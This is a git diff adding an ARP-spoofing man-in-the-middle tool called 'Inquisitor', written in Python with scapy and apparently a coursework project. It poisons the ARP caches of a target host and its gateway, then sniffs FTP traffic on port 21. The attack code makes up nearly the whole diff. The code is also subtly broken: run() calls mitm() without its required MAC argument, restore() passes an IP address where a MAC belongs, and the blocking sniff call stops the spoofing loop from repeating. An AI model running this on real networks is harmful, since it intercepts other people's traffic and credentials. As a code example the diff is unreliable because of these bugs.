diff --git a/inquisitor/src/inquisitor.py b/inquisitor/src/inquisitor.py
old mode 100644
new mode 100755
index be056bc..27e363c
--- a/inquisitor/src/inquisitor.py
+++ b/inquisitor/src/inquisitor.py
@@ -1,8 +1,103 @@
 #!/usr/bin/env python3
 # -*- coding: utf-8 -*-
 
+import argparse
+import signal
+from scapy.all import get_if_hwaddr, conf, ARP, send, sniff
+
+def my_mac():
+    """
+    This function returns the MAC address of the current machine using scapy
+    """
+    return get_if_hwaddr(conf.iface)
+  
+   
+def mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac):
+    """
+    # This function would contain the logic to spoof the target IP and MAC
+    """
+    print(f"Spoofing {target_ip} ({target_mac}) via gateway {gateway_ip} ({gateway_mac})")
+    packet_victim = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=my_mac)
+    packet_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=my_mac)
+
+    send(packet_victim, verbose=False, iface=conf.iface)
+    send(packet_gateway, verbose=False, iface=conf.iface)
+    
+
+def restore(target_ip, target_mac, gateway_ip, gateway_mac):
+    # This function would contain the logic to restore the original IP and MAC addresses
+    print(f"Restoring {target_ip} ({target_mac}) via gateway {gateway_ip} ({gateway_mac})")
+    packet_victim = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
+    packet_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_ip)
+
+    send(packet_victim, verbose=False, iface=conf.iface)
+    send(packet_gateway, verbose=False, iface=conf.iface)
+    print("Restoration complete.")
+
+def ftp_packet_callback(packet):
+    """
+    This function would handle FTP packets, if needed.
+    """
+    if packet.haslayer('IP') and packet.haslayer('TCP'):
+        if packet['TCP'].dport == 21 or packet['TCP'].sport == 21:
+            print(f"FTP Packet: {packet.summary()}")   
+
+def start_sniffing(interface=conf.iface):
+    """
+    This function would start sniffing network packets.
+    """
+    print("Starting to sniff packets...")
+    bpf = "tcp port 21"  # Filter for FTP traffic
+    try:
+        sniff(iface=interface, filter=bpf, prn=ftp_packet_callback, store=0)
+    except Exception as e:
+        print(f"Error while sniffing: {e}")
+
+
+
+def run(target_ip, target_mac, gateway_ip, gateway_mac):
+    try:
+        while True:
+            mitm(target_ip, target_mac, gateway_ip, gateway_mac)
+            start_sniffing()
+            
+    except KeyboardInterrupt:
+            print("Stopping the Inquisitor...")
+            restore(target_ip, target_mac, gateway_ip, gateway_mac)
+
+    except Exception as e:
+            print(f"An error occurred: {e}")
+            restore(target_ip, target_mac, gateway_ip, gateway_mac)
+
+
 def main():
-    print("Hello, Inquisitor!")
+    parser = argparse.ArgumentParser(description="Inquisitor Command Line Interface")
+    parser.add_argument('--version', action='version', version='Inquisitor 1.0.0',
+                        help='Show the version of Inquisitor')
+    parser.add_argument('target_ip', help='Target IP address')
+    parser.add_argument('target_mac', help='Target MAC address')
+    parser.add_argument('gateway_ip', help='Gateway IP address')
+    parser.add_argument('gateway_mac', help='Gateway MAC address')
+    args = parser.parse_args()
+
+    # Set up signal handling for graceful shutdown
+    def signal_handler(sig, frame):
+        print("\nSignal received, stopping Inquisitor...")
+        restore(args.target_ip, args.target_mac, args.gateway_ip, args.gateway_mac)
+        exit(0)
+
+    signal.signal(signal.SIGINT, signal_handler)
+    signal.signal(signal.SIGTERM, signal_handler)
+
+    # Here you would typically call the main functionality of Inquisitor
+    print(f"Target IP: {args.target_ip}")
+    print(f"Target MAC: {args.target_mac}")
+    print(f"Gateway IP: {args.gateway_ip}")
+    print(f"Gateway MAC: {args.gateway_mac}")
+    if( args.target_ip and args.target_mac and
+       args.gateway_ip and args.gateway_mac):
+
+       run(args.target_ip, args.target_mac, args.gateway_ip, args.gateway_mac)
 
 if __name__ == "__main__":
     main()
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